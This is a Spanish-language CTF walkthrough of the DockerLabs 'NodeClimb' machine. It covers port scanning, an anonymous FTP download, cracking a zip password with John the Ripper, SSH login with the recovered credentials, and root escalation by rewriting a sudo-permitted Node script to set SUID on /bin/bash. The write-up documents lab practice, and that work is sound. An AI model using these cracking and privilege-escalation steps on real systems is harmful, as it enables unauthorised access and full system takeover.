NodeClimb DockerLabs (Easy)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip nodeclimb.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh nodeclimb.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-25 08:57 EST
Nmap scan report for insanity.dl (172.17.0.2)
Host is up (0.000053s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 242 Jul 05 2024 secretitopicaron.zip
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:172.17.0.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 cd:1f:3b:2d:c4:0b:99:03:e6:a3:5c:26:f5:4b:47:ae (ECDSA)
|_ 256 a0:d4:92:f6:9b:db:12:2b:77:b6:b1:58:e0:70:56:f0 (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.71 second
Vemos que hay un FTP
por lo que vamos a ver si podemos meternos de forma anonima.
FTP
ftp anonymous@<IP>
Dejamos la contraseña vacia y veremos que estamos dentro, si listamos lo que contiene veremos lo siguiente:
229 Entering Extended Passive Mode (|||54817|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 242 Jul 05 2024 secretitopicaron.zip
226 Directory send OK.
Vemos que hay un archivo llamado secretitopicaron.zip
, por lo que nos lodescargaremos de la siguiente forma:
get secretitopicaron.zip
Ahora nos saldremos del FTP
y veremos si podemos descomprimir el archivo, pero si lo intentamos veremos que esta protegido con contraseña, por lo que la intentaremos crackear
de la siguiente forma:
John The Ripper
zip2john secretitopicaron.zip > hash
Ahora intentaremos crackear
el hash
que obtuvimos del ZIP
:
john --wordlist=<WORDLIST> hash
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password1 (secretitopicaron.zip/password.txt)
1g 0:00:00:00 DONE (2025-01-25 10:26) 100.0g/s 1638Kp/s 1638Kc/s 1638KC/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Vemos que la contraseña es password1
por lo que haremos lo siguiente.
Escalate user mario
unzip secretitopicaron.zip
Metemos como contraseña password1
y veremos que se nos descomprimio de forma correcta y obtendremos un archivo llamado password.txt
que si lo leemos veremos lo siguiente:
cat password.txt
Info:
mario:laKontraseñAmasmalotaHdelbarrioH
Ahora probaremos a conectarnos por ssh
.
SSH
ssh mario@<IP>
Metemos como contraseña laKontraseñAmasmalotaHdelbarrioH
y veremos que estamos dentro.
Escalate Privileges
Si hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for mario on ce01e9447984:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User mario may run the following commands on ce01e9447984:
(ALL) NOPASSWD: /usr/bin/node /home/mario/script.js
Vemos que podemos ejecutar el binario node
junto al script.js
como el usuario root
, por lo que haremos lo siguiente:
Si vemos los permisos que tiene el script.js
veremos lo siguiente:
ls -la /home/mario/script.js
Info:
-rw-r--r-- 1 mario mario 0 Jul 5 2024 /home/mario/script.js
Vemos que tenemos permiso para poder editarlo o hacer lo que queramos, por lo que haremos lo siguiente.
script.js
const { exec } = require("child_process");
// Comando para habilitar el bit setuid en /bin/bash
const command = "chmod u+s /bin/bash";
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(`Error ejecutando el comando: ${error.message}`);
return;
}
if (stderr) {
console.error(`Error de salida: ${stderr}`);
return;
}
console.log(`Comando ejecutado exitosamente: ${stdout}`);
});
Por lo que ahora lo ejecutaremos de la siguiente forma:
sudo node /home/mario/script.js
Info:
Comando ejecutado exitosamente:
Ahora si listamos la bash
veremos lo siguiente:
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1265648 Mar 29 2024 /bin/bash
Vemos que ha funcionado perfectamente y ya tendremos la bash
con permisos SUID
, por lo que haremos lo siguiente:
bash -p
Con esto ya seremos root
por lo que habremos terminado la maquina.
Last updated